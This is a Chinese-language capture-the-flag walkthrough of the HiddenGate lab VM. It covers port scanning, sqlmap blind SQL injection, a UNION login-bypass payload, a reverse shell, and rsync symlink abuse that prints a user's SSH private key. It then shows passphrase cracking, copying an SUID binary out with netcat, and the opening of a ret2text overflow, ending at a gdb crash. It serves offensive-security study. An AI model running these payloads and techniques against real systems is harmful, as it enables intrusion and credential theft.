MazeSec-HiddenGate-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc.
192.168.60.191 08:00:27:54:56:08 PCS Systemtechnik GmbH
192.168.60.254 00:50:56:f2:e6:ff VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.188 seconds (117.00 hosts/sec). 4 responded
export ip=192.168.60.191
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
0day was here ♥

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.191:25565
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-22 08:41 CST
Initiating ARP Ping Scan at 08:41
Scanning 192.168.60.191 [1 port]
Completed ARP Ping Scan at 08:41, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:41
Completed Parallel DNS resolution of 1 host. at 08:41, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:41
Scanning 192.168.60.191 [1 port]
Discovered open port 25565/tcp on 192.168.60.191
Completed SYN Stealth Scan at 08:41, 0.09s elapsed (1 total ports)
Nmap scan report for 192.168.60.191
Host is up, received arp-response (0.00033s latency).
Scanned at 2025-05-22 08:41:06 CST for 0s

PORT STATE SERVICE REASON
25565/tcp open minecraft syn-ack ttl 64
MAC Address: 08:00:27:54:56:08 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
Raw packets sent: 2 (72B) | Rcvd: 2 (72B)

发现只开放了25565端口,探测发现是minecraft服务器端口

被迫下载minecraft连接服务器看一下

给了个提示

image

可能不单单是Minecraft Server

扫了一下还存在web服务

1
2
❯ whatweb http://$ip:25565
http://192.168.60.191:25565 [200 OK] Apache[2.4.62], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.62 (Debian)], IP[192.168.60.191], Script, Title[我的世界玩家空间]

并且ipv6是存在80端口开放的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
❯ nmap -6 fe80::a00:27ff:fe54:5608%eth0 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-22 09:05 CST
Nmap scan report for fe80::a00:27ff:fe54:5608
Host is up (0.0031s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:54:56:08 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
❯ curl -g "http://[fe80::a00:27ff:fe54:5608%eth0]:80"
<!DOCTYPE html>
<html lang="zh-CN">

<head>
<meta charset="UTF-8">
<title>我的世界玩家空间</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<style>
………………………………
</head>

<body>
<div class="container">
<div class="title">
<h1 style="font-family: 'Minecraft', Arial, sans-serif;">我的世界玩家空间</h1>
<p class="lead" style="color: #ffffff;">选择您的游戏模式</p>
</div>

<div class="card-container">
<div class="feature-card">
<i class="bi bi-tree-fill card-icon survival-icon"></i>
<h2 class="card-title">生存模式</h2>
<p class="card-description">在充满挑战的世界中生存和建造</p>
<button class="minecraft-btn">
进入世界
</button>
</div>

<div class="feature-card">
<i class="bi bi-building card-icon creative-icon"></i>
<h2 class="card-title">创造模式</h2>
<p class="card-description">释放你的创造力,建造任何想象中的作品</p>
<button class="minecraft-btn">
开始创造
</button>
</div>

<div class="feature-card">
<i class="bi bi-people-fill card-icon multiplayer-icon"></i>
<h2 class="card-title">多人游戏</h2>
<p class="card-description">与其他玩家一起探索和冒险</p>
<button class="minecraft-btn">
加入服务器
</button>
</div>
</div>
</div>

<footer>
<p>© 2025 我的世界玩家空间</p>
</footer>

<script src="static/bootstrap.bundle.min.js"></script>
<link rel="stylesheet" href="static/bootstrap-icons.css">
</body>

</html>%

枚举目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ gobuster dir -u "http://$ip:25565" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,zip,txt -b 404,403
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.191:25565
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,zip,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 4219]
/static (Status: 301) [Size: 326] [--> http://192.168.60.191:25565/static/]
/mine (Status: 301) [Size: 324] [--> http://192.168.60.191:25565/mine/]
Progress: 1102795 / 1102800 (100.00%)
===============================================================
Finished
===============================================================

得到/mine目录,有个登录表单

image

Sql注入

猜测存在sql注入,sqlmap跑一遍

有个时间盲注,测的会有点慢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
❯ sqlmap -u "http://192.168.60.191:25565/mine/login.php" --batch --forms

---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=KGJF' AND (SELECT 7537 FROM (SELECT(SLEEP(5)))pAya) AND 'VpgC'='VpgC&password=XBvb
---

[*] ending @ 08:58:54 /2025-05-22/

❯ sqlmap -u "http://192.168.60.191:25565/mine/login.php" --batch --forms --dbs

……………………

2
[08:59:33] [INFO] retrieved:
[08:59:38] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[09:00:37] [INFO] retrieved: coffee
available databases [2]:
[*] coffee
[*] information_schema

[09:00:54] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/Pepster/.local/share/sqlmap/output/results-05222025_0859am.csv'

[*] ending @ 09:00:54 /2025-05-22/

❯ sqlmap -u "http://192.168.60.191:25565/mine/login.php" --batch --forms -D coffee --tables
……………………
[09:01:29] [INFO] retrieved:
[09:01:39] [INFO] adjusting time delay to 1 second due to good response times
users
Database: coffee
[1 table]
+-------+
| users |
+-------+

[09:01:53] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/Pepster/.local/share/sqlmap/output/results-05222025_0901am.csv'

[*] ending @ 09:01:53 /2025-05-22/

❯ sqlmap -u "http://192.168.60.191:25565/mine/login.php" --batch --forms -D coffee -T users --dump

[09:02:21] [INFO] retrieved: id
[09:02:27] [INFO] retrieved: username
[09:02:50] [INFO] retrieved: password
[09:03:18] [INFO] fetching entries for table 'users' in database 'coffee'
[09:03:18] [INFO] fetching number of entries for table 'users' in database 'coffee'
[09:03:18] [INFO] retrieved: 1
[09:03:19] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
2
[09:03:22] [INFO] retrieved: b0838efbde6accbc914c642981e4aef9
[09:05:15] [INFO] retrieved: user
[09:05:27] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [y/N/q] N
Database: coffee
Table: users
[1 entry]
+----+----------------------------------+----------+
| id | password | username |
+----+----------------------------------+----------+
| 2 | b0838efbde6accbc914c642981e4aef9 | user |
+----+----------------------------------+----------+

[09:05:27] [INFO] table 'coffee.users' dumped to CSV file '/home/Pepster/.local/share/sqlmap/output/192.168.60.191/dump/coffee/users.csv'
[09:05:27] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/Pepster/.local/share/sqlmap/output/results-05222025_0902am.csv'

[*] ending @ 09:05:27 /2025-05-22/

得到id为2的用户user,密码hash解一下为smallfish

image

登录后,页脚标签中存在跳转地址

image

在注释中显示只允许admin用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ curl http://192.168.60.191:25565/mine/repair1.php -H "Cookie:PHPSESSID=paqdp75140ak0jb8toig58uioo"
<!DOCTYPE html>
<html>

<head>
<title>Access Denied</title>
</head>

<body>
<div class="message">
<h1>Access denied</h1>
<div class="user-info">
当前用户: user </div>
<!-- only admin -->
</div>
</body>

</html>

联合查询用户伪造

不过我们通过sql注入查询得知不存在admin用户

哎,这不是跟SingDanceRap的做法类似吗,不过sqlmap跑出来只能时间盲注,不能联合查询

HackMyVM-SingDanceRap-Walkthrough | Pepster’Blog

手工测试一下

' UNION SELECT 1,'admin','abc' -- -

image

发现是可以成功伪造admin用户

repair1.php里面有个命令执行的功能

用户提权

尝试反弹shell

监听端口,得知存在sudo权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ penelope.py 4444
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 • 172.17.0.1
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from HiddenGate-192.168.60.191-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/HiddenGate~192.168.60.191_Linux_x86_64/2025_05_22-15_05_16-253.log 📜
──────────────────────────────────────────────────────────────────────────
www-data@HiddenGate:/var/www/html/mine$ sudo -l
Matching Defaults entries for www-data on HiddenGate:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on HiddenGate:
(xiaoyuega) NOPASSWD: /usr/local/bin/backup.sh

查看脚本内容,竟然还没权限

1
2
www-data@HiddenGate:/var/www/html/mine$ cat /usr/local/bin/backup.sh
cat: /usr/local/bin/backup.sh: Permission denied

直接尝试执行

看到一个熟悉的工具rsync

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@HiddenGate:/var/www/html/mine$ sudo -u xiaoyuega /usr/local/bin/backup.sh
=== Starting Minecraft Server Backup ===
Source: /opt/minecraft_server
Destination: /tmp/backup/backup_20250522_030640
[1/4] Checking source directory...
[2/4] Preparing backup directory...
Backup directory doesn't exist, creating...
[3/4] Copying world data (this may take a while)...
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/level.dat": Permission denied (13)
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/level.dat_old": Permission denied (13)
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/playerdata/1af2ecc6-000c-36aa-8a0a-5ce9c13df15b.dat": Permission denied (13)
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/playerdata/1af2ecc6-000c-36aa-8a0a-5ce9c13df15b.dat_old": Permission denied (13)
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/playerdata/40b85b64-3dd4-39e8-bdb1-89934665382f.dat": Permission denied (13)
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/playerdata/416246f2-6ab2-3aeb-aabb-2013fd9e7afd.dat": Permission denied (13)
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/playerdata/530fa97a-357f-3c19-94d3-0c5c65c18fe8.dat": Permission denied (13)
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/playerdata/530fa97a-357f-3c19-94d3-0c5c65c18fe8.dat_old": Permission denied (13)
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/playerdata/a59fe3d4-1e1f-3432-9244-c8ec02a60dd0.dat": Permission denied (13)
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/playerdata/a59fe3d4-1e1f-3432-9244-c8ec02a60dd0.dat_old": Permission denied (13)
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/playerdata/b0b1cd05-a4de-30bc-b377-fe727ccaff55.dat": Permission denied (13)
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/playerdata/b0b1cd05-a4de-30bc-b377-fe727ccaff55.dat_old": Permission denied (13)
rsync: [sender] send_files failed to open "/opt/minecraft_server/world/playerdata/e1edbcd0-0568-3fbd-b67b-6e7766cf24df.dat": Permission denied (13)
rsync error: some files/attrs were not transferred (see previous errors) (code 23) at main.c(1333) [sender=3.2.3]
[4/4] Verifying backup...
SUCCESS: Backup completed successfully!
Backup location: /tmp/backup/backup_20250522_030640
=== Backup Process Completed ===

我尝试在/opt/minecraft_server新建文件

再次执行备份操作,发现是备份过去了

那大概率可以猜测是rsync通配符漏洞

1
2
3
4
5
6
7
8
9
10
11
12
www-data@HiddenGate:/opt/minecraft_server$ touch 123
www-data@HiddenGate:/opt/minecraft_server$ sudo -u xiaoyuega /usr/local/bin/backup.sh
=== Starting Minecraft Server Backup ===
Source: /opt/minecraft_server
Destination: /tmp/backup/backup_20250522_030905
[1/4] Checking source directory...
[2/4] Preparing backup directory...
[3/4] Copying world data (this may take a while)...
………………………………………………

www-data@HiddenGate:/opt/minecraft_server$ ls -al /tmp/backup/backup_20250522_030905/123
-rwxr-xr-x 1 xiaoyuega xiaoyuega 0 May 22 03:08 /tmp/backup/backup_20250522_030905/123

我传个pspy64看下具体命令

1
2
3
4
5
6
2025/05/22 03:12:38 CMD: UID=1000  PID=1069   | sudo -u xiaoyuega /usr/local/bin/backup.sh
2025/05/22 03:12:38 CMD: UID=1000 PID=1070 | /bin/bash /usr/local/bin/backup.sh
2025/05/22 03:12:38 CMD: UID=1000 PID=1071 | /bin/bash /usr/local/bin/backup.sh
2025/05/22 03:12:38 CMD: UID=1000 PID=1072 | rsync -a --copy-links --delete /opt/minecraft_server/ /tmp/backup/backup_20250522_031238
2025/05/22 03:12:38 CMD: UID=1000 PID=1073 | rsync -a --copy-links --delete /opt/minecraft_server/ /tmp/backup/backup_20250522_031238
2025/05/22 03:12:40 CMD: UID=1000 PID=1074 | /bin/bash /usr/local/bin/backup.sh

哎,好像不是,命令有个--copy-links,将符号链接(symlinks)指向的实际文件复制过去,而不是复制链接本身

利用ln,我尝试将私钥复制过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
www-data@HiddenGate:/opt/minecraft_server$ ln -s /home/xiaoyuega/.ssh/id_rsa abc
www-data@HiddenGate:/opt/minecraft_server$ sudo -u xiaoyuega /usr/local/bin/backup.sh
=== Starting Minecraft Server Backup ===
Source: /opt/minecraft_server
Destination: /tmp/backup/backup_20250522_031546
[1/4] Checking source directory...
[2/4] Preparing backup directory...
[3/4] Copying world data (this may take a while)...
……………………………………

www-data@HiddenGate:/opt/minecraft_server$ cd /tmp/backup/backup_20250522_03
backup_20250522_030640/ backup_20250522_030905/ backup_20250522_031238/ backup_20250522_031546/
www-data@HiddenGate:/opt/minecraft_server$ cd /tmp/backup/backup_20250522_031546/
www-data@HiddenGate:/tmp/backup/backup_20250522_031546$ cat abc
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDanbd68I
Gn8cHDrgn3ITvfAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDG/UIHmYrO
OG9YpMl2eW28QoyMoeJR9eNLsuiH9fQtzQZu29QgH0aZEqeT5XOgDEFzlEtlXwDbA1yQva
NAv1Owx8oE0Gj25vp6eZY9HHnaT1Y3zxhJGIvLglV9f4OzJnzjtJtxSBNY9hEwdudtzVKt
qsgu2Rd8M87ao1HjwPxFBdgfqcJ6kfKW8Ismj1f4z4uYtPmYt7qWDgbtFbN5xWi2qs2j1R
xx/bSmYzG+mwKnpxBRT3LMeQflskzkAKZk6O/Rj98rUk+WagN0kv/DtjJWPM0DNB/czfi4
xnTBDi+48jsDp1DEQH6dlB6SYh4OOqgKRZ+ZzyOk3GiDFMAkDQVJAAAD0L9wyft/hgdx04
MdsU6WZnfa7/b/p9A2Xo2Mq6fowcO3n44BPobNDmSKCf5XPlLxBh0cbeTwLnRECltWZ46u
h35S1VmpKxC6IRLqP9EtuJRP+6pfM3C92pG1MXL+jqK5cNqmgwJjMX5hkABeN4+6oBLI7g
wN3qbG2NGaYTtpkHTHE9X0vItg8yTdRzxMMJVeRxM95rMQn7ppORxZRpBZQxBixFTrvc3Z
sbiILySXTZRvmOPylFTXVh+qW3Hz5bw7uEuhCrAtM7F3JRWwtHl6LwFRBAceNQ/4u+lVoL
y3r+WUqWYQ7ji6YRNMBgq73eYsF1rtB83vSVDYOFv3kCfKfwPTxDZGwQeegldurbXquBui
dwfJ3QIR5AO7dv4p49XWZFrnD/7aIABA/RWMJOqpuYLio8M0O57fmfOlWVnQS+YDeAzg9A
kIWPvyK/PO0aRqSbLt1GmvUlmasAOjmwykKOnl6duxghEU8cEv6JeNIvyKj40DRlRGcyJl
2AdnK1chvzB3mw83dtQqb/RvCDr3DlMeZqA/3t4IpiQmZwRi7FQxos20fwvdkZ1w9q9UWT
4K7xsom5bMgbp3ujUR3JN7xZYNq3Q/+g/QDM9i0uV3eUSZltb42czfcrHdrIVVHWPci28J
pfDvDzE1QlyEnCKNH2TcPxaiXgmGsRJ6NCr/CeiahiHEkZiowdSo5fl6+wwXxuBnnO60hG
8s1en5yJ0j6yslVheHOZT2942jc+CU3oJ5tc3JQW1amI0cJjj0Q8TtOzQIrqiDA8DePrcp
BUf4l1YR0Rsb2Oz+xx2/yPcrEhJL03mAEOBvOVkB/CpUVCBhEh/DrY1HRhXoOSdMRinpUs
RL2aSCDxUGvaXF3Jto5qmsR81zvGOr+d/MAP0jgzFLd+FMaGNHePeaHst2Y+JPCsoGB+rP
FHMJdEVqksrjQ6xtx88ChHq3w87HqCwL3IguaCRRcRoUC4OjWRk8Ob+RmMN8b15caZBrsl
3nxMNl6yOJS+onpLWkcdZVgR1YLTVv+R2BJWG+oXMOhLpg/I8SAlqY4ZbOI7vgW6vsQ0ms
GjivEeAiv16S2YxEb4nzbuwBOQqVpvKXQFCxIzXhmHmNr/MkJMY4L5W9h3CIxKL97nJxwj
oX+hGPwrBnPT2wzH0wstw3cTuSASi0WRD/RBpAQztwtVH4D6ExyzbOoAW7C5jU9X4Umb14
RsumGpztVj87UR6U6R6sb3RDbL6mtkGE4BD804rD/QJaakg48wNQ8EheUgJwYVRhGd9LY4
gaCmTshDSQLkYVfxHvnuvcKlt0ShM=
-----END OPENSSH PRIVATE KEY-----

尝试在本地连接一下

1
2
3
4
5
6
7
8
9
10
www-data@HiddenGate:/tmp$ vi id_rsa
www-data@HiddenGate:/tmp$ chmod 600 id_rsa
www-data@HiddenGate:/tmp$ ssh xiaoyuega@localhost -i id_rsa
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:IV6iZTL6D//1Ojh0d8XoSMepPgjyUfV/FpQmf3q35Hg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Enter passphrase for key 'id_rsa':

还需要密码,放到本地爆破一下,爆了半天没出来😅

尝试直接读user flag,然而文件名被改了,不存在user.txt

既然xiaoyuega这个用户可以执行/usr/local/bin/backup.sh,那必然也可读取文件

我们看一下脚本内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
www-data@HiddenGate:/opt/minecraft_server$ ln -s /usr/local/bin/backup.sh script
www-data@HiddenGate:/opt/minecraft_server$ sudo -u xiaoyuega /usr/local/bin/backup.sh
=== Starting Minecraft Server Backup ===
Source: /opt/minecraft_server
Destination: /tmp/backup/backup_20250522_033431
[1/4] Checking source directory...
[2/4] Preparing backup directory...
[3/4] Copying world data (this may take a while)...
symlink has no referent: "/opt/minecraft_server/aaa"
IO error encountered -- skipping file deletion
skipping non-regular file "test"
…………………………
www-data@HiddenGate:/opt/minecraft_server$ cat /tmp/backup/backup_20250522_033431/script
#!/bin/bash

SOURCE_DIR="/opt/minecraft_server"
BACKUP_DIR="/tmp/backup"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
BACKUP_NAME="backup_${TIMESTAMP}"

echo "=== Starting Minecraft Server Backup ==="
echo "Source: $SOURCE_DIR"
echo "Destination: $BACKUP_DIR/$BACKUP_NAME"

# Check if source directory exists
echo "[1/4] Checking source directory..."
if [ ! -d "$SOURCE_DIR" ]; then
echo "ERROR: Source directory $SOURCE_DIR does not exist!"
exit 1
fi

# Create backup directory if it doesn't exist
echo "[2/4] Preparing backup directory..."
if [ ! -d "$BACKUP_DIR" ]; then
echo "Backup directory doesn't exist, creating..."
mkdir -p "$BACKUP_DIR"
if [ $? -ne 0 ]; then
echo "ERROR: Failed to create backup directory!"
exit 1
fi
fi

# Perform the backup using rsync
echo "[3/4] Copying world data (this may take a while)..."
rsync -a --copy-links --delete "$SOURCE_DIR/" "$BACKUP_DIR/$BACKUP_NAME"
chmod -R 755 "$BACKUP_DIR"
if [ $? -ne 0 ]; then
echo "ERROR: Backup failed!"
exit 1
fi

# Verify backup
echo "[4/4] Verifying backup..."
if [ -d "$BACKUP_DIR/$BACKUP_NAME" ]; then
echo "SUCCESS: Backup completed successfully!"
echo "Backup location: $BACKUP_DIR/$BACKUP_NAME"
else
echo "ERROR: Backup verification failed!"
exit 1
fi

echo "=== Backup Process Completed ==="

那我们可以尝试在目标目录中创建很多个类似于backup_20250522_xxxxxx的文件夹,在下面链接用户的公钥地址,达成覆盖用户的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@HiddenGate:/opt/minecraft_server$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/var/www/.ssh/id_rsa): /opt/minecraft_server/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /opt/minecraft_server/id_rsa
Your public key has been saved in /opt/minecraft_server/id_rsa.pub
The key fingerprint is:
SHA256:Jh0v6mePVs32jYdCAqSF6qNL2qDxDBEJRZg6XRg06Yg www-data@HiddenGate
The key's randomart image is:
+---[RSA 3072]----+
|.**+ . |
|+.o.. . o |
|=+ . . +. |
|E.o . ...o |
|.. . . S..o |
| . o + .o = |
|+ .. .. . + . + |
|.X. . +. . + o|
|o =. .+... . . |
+----[SHA256]-----+
www-data@HiddenGate:/opt/minecraft_server$ cp id_rsa.pub authorized_keys

哎呀,之前备份过现在的文件夹权限是xiaoyuega的,不能新建文件夹了

卡在这了


哦,原来换个字典就能爆出来了

得到私钥密码fish

1
2
3
4
5
6
7
8
9
10
11
❯ john hash --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
fish (id_rsa)
1g 0:00:00:06 DONE (2025-05-26 20:08) 0.1642g/s 84.07p/s 84.07c/s 84.07C/s 315475..marvin
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Root提权

由于22端口只在本地开放,直接用www-data的shell连吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@HiddenGate:/tmp/backup/backup_20250526_075124/123/.ssh$ ssh xiaoyuega@localhost -i id_rsa
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:IV6iZTL6D//1Ojh0d8XoSMepPgjyUfV/FpQmf3q35Hg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Enter passphrase for key 'id_rsa':
Linux HiddenGate 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat May 10 13:51:19 2025 from 192.168.100.100
xiaoyuega@HiddenGate:~$ cat userrr.txt
flag{73aec4f42ce3001c2cb27eb52d65f15d}

用户家目录存在cmd具有suid权限

传到本地,分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
xiaoyuega@HiddenGate:~$ ls -al
total 48
drwxr-x--- 3 xiaoyuega xiaoyuega 4096 May 11 03:38 .
drwxr-xr-x 3 root root 4096 May 10 12:17 ..
lrwxrwxrwx 1 xiaoyuega xiaoyuega 9 May 10 12:49 .bash_history -> /dev/null
-rw-r--r-- 1 xiaoyuega xiaoyuega 220 May 10 12:17 .bash_logout
-rw-r--r-- 1 xiaoyuega xiaoyuega 3526 May 10 12:17 .bashrc
-rwsr-sr-x 1 root root 17384 May 11 03:37 cmd
-rw-r--r-- 1 xiaoyuega xiaoyuega 807 May 10 12:17 .profile
drwx------ 2 xiaoyuega xiaoyuega 4096 May 10 13:40 .ssh
-rw------- 1 xiaoyuega xiaoyuega 39 May 11 01:21 userrr.txt
xiaoyuega@HiddenGate:~$ busybox nc 192.168.60.100 1234 < cmd
-----------------------
❯ nc -lvp 1234 > cmd
listening on [any] 1234 ...
192.168.60.191: inverse host lookup failed: Unknown host
connect to [192.168.60.100] from (UNKNOWN) [192.168.60.191] 37298

Ret2text

可以发现也是伪造了一个类似shell的功能

让你以为是在root shell中,然而是假的

image

并且使用gets函数,显然存在栈溢出漏洞

image

并且还可以发现存在后门函数hahaha,地址为0x401433

打印root shell并且执行/bin/sh

image

那就是最简单最经典的栈溢出,ret2text

gdb调试一下,获得偏移量

查看奔溃后的rip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
❯ gdb -q cmd
pwndbg: loaded 188 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from cmd...
(No debugging symbols found in cmd)
------- tip of the day (disable with set show-tips off) -------
Use the errno (or errno <number>) command to see the name of the last or provided (libc) error
pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
pwndbg> r
Starting program: /home/Pepster/temp/cmd
warning: opening /proc/self/mem file failed: Permission denied (13)
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter command: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa

Program received signal SIGSEGV, Segmentation fault.
0x00000000004014d9 in process_command ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
